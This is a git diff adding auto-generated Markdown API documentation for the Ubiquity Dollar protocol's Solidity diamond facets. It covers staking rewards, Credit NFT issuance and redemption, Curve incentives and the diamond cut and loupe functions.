a/packages/contracts/docs/src/src/dollar/facets/ChefFacet.sol/contract.ChefFacet.md b/packages/contracts/docs/src/src/dollar/facets/ChefFacet.sol/contract.ChefFacet.md new file mode 100644 index 000000000..b10288257 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/ChefFacet.sol/contract.ChefFacet.md @@ -0,0 +1,215 @@ +# ChefFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/ChefFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Contract facet for staking Dollar-3CRV LP tokens for Governance tokens reward + + +## Functions +### setGovernancePerBlock + +Sets amount of Governance tokens minted each block + + +```solidity +function setGovernancePerBlock(uint256 _governancePerBlock) external onlyTokenManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governancePerBlock`|`uint256`|Amount of Governance tokens minted each block| + + +### setGovernanceShareForTreasury + +Sets Governance token divider param. The bigger `_governanceDivider` the less extra +Governance tokens will be minted for the treasury. + +Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + + +```solidity +function setGovernanceShareForTreasury(uint256 _governanceDivider) external onlyTokenManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governanceDivider`|`uint256`|Governance divider param value| + + +### setMinPriceDiffToUpdateMultiplier + +Sets min price difference between the old and the new Dollar prices + + +```solidity +function setMinPriceDiffToUpdateMultiplier(uint256 _minPriceDiffToUpdateMultiplier) external onlyTokenManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_minPriceDiffToUpdateMultiplier`|`uint256`|Min price diff to update governance multiplier| + + +### getRewards + +Withdraws pending Governance token rewards + + +```solidity +function getRewards(uint256 stakingShareID) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareID`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Reward amount transferred to `msg.sender`| + + +### governanceMultiplier + +Returns governance multiplier + + +```solidity +function governanceMultiplier() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Governance multiplier| + + +### governancePerBlock + +Returns amount of Governance tokens minted each block + + +```solidity +function governancePerBlock() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Governance tokens minted each block| + + +### governanceDivider + +Returns governance divider param + +Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + + +```solidity +function governanceDivider() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Governance divider param value| + + +### pool + +Returns pool info + + +```solidity +function pool() external view returns (uint256, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Last block number when Governance tokens distribution occurred| +|``|`uint256`|Accumulated Governance tokens per share, times 1e12| + + +### minPriceDiffToUpdateMultiplier + +Returns min price difference between the old and the new Dollar prices +required to update the governance multiplier + + +```solidity +function minPriceDiffToUpdateMultiplier() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Min Dollar price diff to update the governance multiplier| + + +### pendingGovernance + +Returns amount of pending reward Governance tokens + + +```solidity +function pendingGovernance(uint256 stakingShareID) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareID`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of pending reward Governance tokens| + + +### getStakingShareInfo + +Returns staking share info + + +```solidity +function getStakingShareInfo(uint256 _id) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Array of amount of shares and reward debt| + + +### totalShares + +Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + + +```solidity +function totalShares() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Total amount of deposited LP tokens| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/CollectableDustFacet.sol/contract.CollectableDustFacet.md b/packages/contracts/docs/src/src/dollar/facets/CollectableDustFacet.sol/contract.CollectableDustFacet.md new file mode 100644 index 000000000..2d0b32478 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CollectableDustFacet.sol/contract.CollectableDustFacet.md @@ -0,0 +1,57 @@ +# CollectableDustFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CollectableDustFacet.sol) + +**Inherits:** +[ICollectableDust](/src/dollar/interfaces/utils/ICollectableDust.sol/interface.ICollectableDust.md), [Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Contract for collecting dust (i.e. not part of a protocol) tokens sent to a contract + + +## Functions +### addProtocolToken + +Adds token address to a protocol + + +```solidity +function addProtocolToken(address _token) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to add| + + +### removeProtocolToken + +Removes token address from a protocol + + +```solidity +function removeProtocolToken(address _token) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to remove| + + +### sendDust + +Sends dust tokens (which are not part of a protocol) to the `_to` address + + +```solidity +function sendDust(address _to, address _token, uint256 _amount) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_to`|`address`|Tokens receiver address| +|`_token`|`address`|Token address to send| +|`_amount`|`uint256`|Amount of tokens to send| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/CreditClockFacet.sol/contract.CreditClockFacet.md b/packages/contracts/docs/src/src/dollar/facets/CreditClockFacet.sol/contract.CreditClockFacet.md new file mode 100644 index 000000000..3ea9b8946 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CreditClockFacet.sol/contract.CreditClockFacet.md @@ -0,0 +1,68 @@ +# CreditClockFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CreditClockFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +CreditClock Facet + + +## Functions +### setManager + +Updates the manager address + + +```solidity +function setManager(address _manager) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New manager address| + + +### getManager + +Returns the manager address + + +```solidity +function getManager() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Manager address| + + +### setRatePerBlock + +Sets rate to apply from this block onward + + +```solidity +function setRatePerBlock(bytes16 _ratePerBlock) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_ratePerBlock`|`bytes16`|ABDKMathQuad new rate per block to apply from this block onward| + + +### getRate + + +```solidity +function getRate(uint256 blockNumber) external view; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`blockNumber`|`uint256`|Block number to get the rate for. 0 for current block.| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/CreditNftManagerFacet.sol/contract.CreditNftManagerFacet.md b/packages/contracts/docs/src/src/dollar/facets/CreditNftManagerFacet.sol/contract.CreditNftManagerFacet.md new file mode 100644 index 000000000..88e39368f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CreditNftManagerFacet.sol/contract.CreditNftManagerFacet.md @@ -0,0 +1,325 @@ +# CreditNftManagerFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CreditNftManagerFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Contract facet for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + +Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + +Allows users to: +- redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis +- redeem Credits for Dollars + + +## Functions +### setExpiredCreditNftConversionRate + +Credit NFT to Governance conversion rate + +When Credit NFTs are expired they can be converted to +Governance tokens using `rate` conversion rate + + +```solidity +function setExpiredCreditNftConversionRate(uint256 rate) external onlyCreditNftManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`rate`|`uint256`|Credit NFT to Governance tokens conversion rate| + + +### expiredCreditNftConversionRate + +Returns Credit NFT to Governance conversion rate + + +```solidity +function expiredCreditNftConversionRate() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Conversion rate| + + +### setCreditNftLength + +Sets Credit NFT block lifespan + + +```solidity +function setCreditNftLength(uint256 _creditNftLengthBlocks) external onlyCreditNftManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftLengthBlocks`|`uint256`|The number of blocks during which Credit NFTs can be redeemed for Dollars| + + +### creditNftLengthBlocks + +Returns Credit NFT block lifespan + + +```solidity +function creditNftLengthBlocks() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Number of blocks during which Credit NFTs can be redeemed for Dollars| + + +### exchangeDollarsForCreditNft + +Burns Dollars in exchange for Credit NFTs + +Should only be called when Dollar price < 1$ + + +```solidity +function exchangeDollarsForCreditNft(uint256 amount) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to exchange for Credit NFTs| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Expiry block number when Credit NFTs can no longer be redeemed for Dollars| + + +### exchangeDollarsForCredit + +Burns Dollars in exchange for Credit tokens + +Should only be called when Dollar price < 1$ + + +```solidity +function exchangeDollarsForCredit(uint256 amount) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits minted| + + +### getCreditNftReturnedForDollars + +Returns amount of Credit NFTs to be minted for the `amount` of Dollars to burn + + +```solidity +function getCreditNftReturnedForDollars(uint256 amount) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credit NFTs to be minted| + + +### getCreditReturnedForDollars + +Returns the amount of Credit tokens to be minter for the provided `amount` of Dollars to burn + + +```solidity +function getCreditReturnedForDollars(uint256 amount) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits to be minted| + + +### onERC1155Received + +Handles the receipt of a single ERC1155 token type. This function is +called at the end of a `safeTransferFrom` after the balance has been updated. +NOTE: To accept the transfer, this must return +`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` +(i.e. 0xf23a6e61, or its own function selector). + + +```solidity +function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data) + external + view + returns (bytes4); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`operator`|`address`|The address which initiated the transfer (i.e. msg.sender)| +|`from`|`address`|The address which previously owned the token| +|`id`|`uint256`|The ID of the token being transferred| +|`value`|`uint256`|The amount of tokens being transferred| +|`data`|`bytes`|Additional data with no specified format| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes4`|`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed| + + +### onERC1155BatchReceived + +Handles the receipt of a multiple ERC1155 token types. This function +is called at the end of a `safeBatchTransferFrom` after the balances have +been updated. +NOTE: To accept the transfer(s), this must return +`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` +(i.e. 0xbc197c81, or its own function selector). + + +```solidity +function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) + external + pure + returns (bytes4); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes4`|`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed| + + +### burnExpiredCreditNftForGovernance + +Burns expired Credit NFTs for Governance tokens at `expiredCreditNftConversionRate` rate + + +```solidity +function burnExpiredCreditNftForGovernance(uint256 id, uint256 amount) public returns (uint256 governanceAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT timestamp| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governanceAmount`|`uint256`|Amount of Governance tokens minted to Credit NFT holder| + + +### burnCreditNftForCredit + +TODO: Should we leave it ? + +Burns Credit NFTs for Credit tokens + + +```solidity +function burnCreditNftForCredit(uint256 id, uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT timestamp| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Credit tokens balance of `msg.sender`| + + +### burnCreditTokensForDollars + +Burns Credit tokens for Dollars when Dollar price > 1$ + + +```solidity +function burnCreditTokensForDollars(uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Credits to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of unredeemed Credits| + + +### redeemCreditNft + +Burns Credit NFTs for Dollars when Dollar price > 1$ + + +```solidity +function redeemCreditNft(uint256 id, uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT expiry block number| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of unredeemed Credit NFTs| + + +### mintClaimableDollars + +Mints Dollars when Dollar price > 1$ + +Distributes excess Dollars this way: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +```solidity +function mintClaimableDollars() public; +``` + diff --git a/packages/contracts/docs/src/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol/contract.CreditNftRedemptionCalculatorFacet.md b/packages/contracts/docs/src/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol/contract.CreditNftRedemptionCalculatorFacet.md new file mode 100644 index 000000000..e03a2c43c --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol/contract.CreditNftRedemptionCalculatorFacet.md @@ -0,0 +1,31 @@ +# CreditNftRedemptionCalculatorFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol) + +**Inherits:** +[ICreditNftRedemptionCalculator](/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol/interface.ICreditNftRedemptionCalculator.md) + +Contract facet for calculating amount of Credit NFTs to mint on Dollars burn + + +## Functions +### getCreditNftAmount + +Returns Credit NFT amount minted for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditNftAmount(uint256 dollarsToBurn) external view override returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credit NFTs to mint| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/CreditRedemptionCalculatorFacet.sol/contract.CreditRedemptionCalculatorFacet.md b/packages/contracts/docs/src/src/dollar/facets/CreditRedemptionCalculatorFacet.sol/contract.CreditRedemptionCalculatorFacet.md new file mode 100644 index 000000000..fa25de073 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CreditRedemptionCalculatorFacet.sol/contract.CreditRedemptionCalculatorFacet.md @@ -0,0 +1,63 @@ +# CreditRedemptionCalculatorFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CreditRedemptionCalculatorFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md), [ICreditRedemptionCalculator](/src/dollar/interfaces/ICreditRedemptionCalculator.sol/interface.ICreditRedemptionCalculator.md) + +Contract facet for calculating amount of Credits to mint on Dollars burn + + +## Functions +### setConstant + +Sets the `p` param in the Credit mint calculation formula: +`y = x * ((BlockDebtStart / BlockBurn) ^ p)` + + +```solidity +function setConstant(uint256 coef) external onlyIncentiveAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`coef`|`uint256`|New `p` param in wei| + + +### getConstant + +Returns the `p` param used in the Credit mint calculation formula + + +```solidity +function getConstant() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|`p` param| + + +### getCreditAmount + +Returns amount of Credits to mint for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditAmount(uint256 dollarsToBurn, uint256 blockHeightDebt) external view override returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| +|`blockHeightDebt`|`uint256`|Block number when the latest debt cycle started (i.e. when Dollar price became < 1$)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits to mint| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/CurveDollarIncentiveFacet.sol/contract.CurveDollarIncentiveFacet.md b/packages/contracts/docs/src/src/dollar/facets/CurveDollarIncentiveFacet.sol/contract.CurveDollarIncentiveFacet.md new file mode 100644 index 000000000..bcf72b80f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/CurveDollarIncentiveFacet.sol/contract.CurveDollarIncentiveFacet.md @@ -0,0 +1,102 @@ +# CurveDollarIncentiveFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/CurveDollarIncentiveFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Facet adds buy incentive and sell penalty for Curve's Dollar-3CRV MetaPool + + +## Functions +### incentivize + +Adds buy and sell incentives + + +```solidity +function incentivize(address sender, address receiver, uint256 amountIn) external onlyDollarManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`sender`|`address`|Sender address| +|`receiver`|`address`|Receiver address| +|`amountIn`|`uint256`|Trade amount| + + +### setExemptAddress + +Sets an address to be exempted from Curve trading incentives + + +```solidity +function setExemptAddress(address account, bool isExempt) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to update| +|`isExempt`|`bool`|Flag for whether to flag as exempt or not| + + +### switchSellPenalty + +Switches the sell penalty + + +```solidity +function switchSellPenalty() external onlyAdmin; +``` + +### switchBuyIncentive + +Switches the buy incentive + + +```solidity +function switchBuyIncentive() external onlyAdmin; +``` + +### isSellPenaltyOn + +Checks whether sell penalty is enabled + + +```solidity +function isSellPenaltyOn() external view returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether sell penalty is enabled| + + +### isBuyIncentiveOn + +Checks whether buy incentive is enabled + + +```solidity +function isBuyIncentiveOn() external view returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether buy incentive is enabled| + + +### isExemptAddress + +Checks whether `account` is marked as exempt + +Whether `account` is exempt from buy incentive and sell penalty + + +```solidity +function isExemptAddress(address account) external view returns (bool); +``` + diff --git a/packages/contracts/docs/src/src/dollar/facets/DiamondCutFacet.sol/contract.DiamondCutFacet.md b/packages/contracts/docs/src/src/dollar/facets/DiamondCutFacet.sol/contract.DiamondCutFacet.md new file mode 100644 index 000000000..43a395afd --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/DiamondCutFacet.sol/contract.DiamondCutFacet.md @@ -0,0 +1,32 @@ +# DiamondCutFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/DiamondCutFacet.sol) + +**Inherits:** +[IDiamondCut](/src/dollar/interfaces/IDiamondCut.sol/interface.IDiamondCut.md) + +Facet used for diamond selector modifications + +*Remember to add the loupe functions from DiamondLoupeFacet to the diamond. +The loupe functions are required by the EIP2535 Diamonds standard.* + + +## Functions +### diamondCut + +Add/replace/remove any number of functions and optionally execute a function with delegatecall + +*`_calldata` is executed with delegatecall on `_init`* + + +```solidity +function diamondCut(FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata) external override; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_diamondCut`|`FacetCut[]`|Contains the facet addresses and function selectors| +|`_init`|`address`|The address of the contract or facet to execute _calldata| +|`_calldata`|`bytes`|A function call, including function selector and arguments| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/DiamondLoupeFacet.sol/contract.DiamondLoupeFacet.md b/packages/contracts/docs/src/src/dollar/facets/DiamondLoupeFacet.sol/contract.DiamondLoupeFacet.md new file mode 100644 index 000000000..8d1ff8f2f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/DiamondLoupeFacet.sol/contract.DiamondLoupeFacet.md @@ -0,0 +1,113 @@ +# DiamondLoupeFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/DiamondLoupeFacet.sol) + +**Inherits:** +[IDiamondLoupe](/src/dollar/interfaces/IDiamondLoupe.sol/interface.IDiamondLoupe.md), IERC165 + +A loupe is a small magnifying glass used to look at diamonds. +These functions look at diamonds. + +*These functions are expected to be called frequently by 3rd party tools.* + +*The functions in DiamondLoupeFacet MUST be added to a diamond. +The EIP-2535 Diamond standard requires these functions.* + + +## Functions +### facets + +Returns all facet addresses and their four byte function selectors + + +```solidity +function facets() external view override returns (Facet[] memory facets_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facets_`|`Facet[]`|Facets with function selectors| + + +### facetFunctionSelectors + +Returns all function selectors supported by a specific facet + + +```solidity +function facetFunctionSelectors(address _facet) + external + view + override + returns (bytes4[] memory facetFunctionSelectors_); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_facet`|`address`|Facet address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetFunctionSelectors_`|`bytes4[]`|Function selectors for a particular facet| + + +### facetAddresses + +Returns all facet addresses used by a diamond + + +```solidity +function facetAddresses() external view override returns (address[] memory facetAddresses_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetAddresses_`|`address[]`|Facet addresses in a diamond| + + +### facetAddress + +Returns the facet that supports the given selector + +*If facet is not found returns `address(0)`* + + +```solidity +function facetAddress(bytes4 _functionSelector) external view override returns (address facetAddress_); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_functionSelector`|`bytes4`|Function selector| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`facetAddress_`|`address`|Facet address| + + +### supportsInterface + +Returns `true` if this contract implements the interface defined by +`interfaceId`. See the corresponding +https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] +to learn more about how these ids are created. +This function call must use less than 30 000 gas. + + +```solidity +function supportsInterface(bytes4 _interfaceId) external view override returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether contract supports a provided interface| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/DirectGovernanceFarmerFacet.sol/contract.DirectGovernanceFarmerFacet.md b/packages/contracts/docs/src/src/dollar/facets/DirectGovernanceFarmerFacet.sol/contract.DirectGovernanceFarmerFacet.md new file mode 100644 index 000000000..4341aeecf --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/DirectGovernanceFarmerFacet.sol/contract.DirectGovernanceFarmerFacet.md @@ -0,0 +1,200 @@ +# DirectGovernanceFarmerFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/DirectGovernanceFarmerFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Simpler Staking Facet + +How it works: +1. User sends stablecoins (DAI / USDC / USDT / Dollar) +2. Deposited stablecoins are added to Dollar-3CRV Curve MetaPool +3. User gets Dollar-3CRV LP tokens +4. Dollar-3CRV LP tokens are transferred to the staking contract +5. User gets a staking share id + + +## Functions +### initialize + +it works as a constructor to set contract values at storage + + +```solidity +function initialize( + address _manager, + address base3Pool, + address ubiquity3PoolLP, + address _ubiquityDollar, + address zapPool +) public onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Ubiquity Manager| +|`base3Pool`|`address`|Base3Pool Address| +|`ubiquity3PoolLP`|`address`|Ubiquity3PoolLP Address| +|`_ubiquityDollar`|`address`|Ubiquity Dollar Address| +|`zapPool`|`address`|ZapPool Address| + + +### depositSingle + +Deposits a single token to staking + +Stable coin (DAI / USDC / USDT / Ubiquity Dollar) => Dollar-3CRV LP => Ubiquity Staking + +How it works: +1. User sends stablecoins (DAI / USDC / USDT / Dollar) +2. Deposited stablecoins are added to Dollar-3CRV Curve MetaPool +3. User gets Dollar-3CRV LP tokens +4. Dollar-3CRV LP tokens are transferred to the staking contract +5. User gets a staking share id + + +```solidity +function depositSingle(address token, uint256 amount, uint256 durationWeeks) + external + nonReentrant + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token deposited : DAI, USDC, USDT or Ubiquity Dollar| +|`amount`|`uint256`|Amount of tokens to deposit (For max: `uint256(-1)`)| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + + +### depositMulti + +Deposits into Ubiquity protocol + +Stable coins (DAI / USDC / USDT / Ubiquity Dollar) => uAD3CRV-f => Ubiquity StakingShare + +STEP 1 : Change (DAI / USDC / USDT / Ubiquity dollar) to 3CRV at uAD3CRV MetaPool + +STEP 2 : uAD3CRV-f => Ubiquity StakingShare + + +```solidity +function depositMulti(uint256[4] calldata tokenAmounts, uint256 durationWeeks) + external + nonReentrant + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Amount of tokens to deposit (For max: `uint256(-1)`) it MUST follow this order [Ubiquity Dollar, DAI, USDC, USDT]| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking share id| + + +### withdrawId + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdrawId(uint256 stakingShareId) external nonReentrant returns (uint256[4] memory tokenAmounts); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Array of token amounts [Ubiquity Dollar, DAI, USDC, USDT]| + + +### withdraw + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdraw(uint256 stakingShareId, address token) external nonReentrant returns (uint256 tokenAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| +|`token`|`address`|Token to withdraw to : DAI, USDC, USDT, 3CRV or Ubiquity Dollar| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmount`|`uint256`|Amount of token withdrawn| + + +### isIdIncluded + +Checks whether `id` exists in `idList[]` + + +```solidity +function isIdIncluded(uint256[] memory idList, uint256 id) external pure returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`idList`|`uint256[]`|Array to search in| +|`id`|`uint256`|Value to search in `idList`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `id` exists in `idList[]`| + + +### isMetaPoolCoin + +Helper function that checks that `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + + +```solidity +function isMetaPoolCoin(address token) external pure returns (bool); +``` +**Parameters** + +|Name|Type|Description| 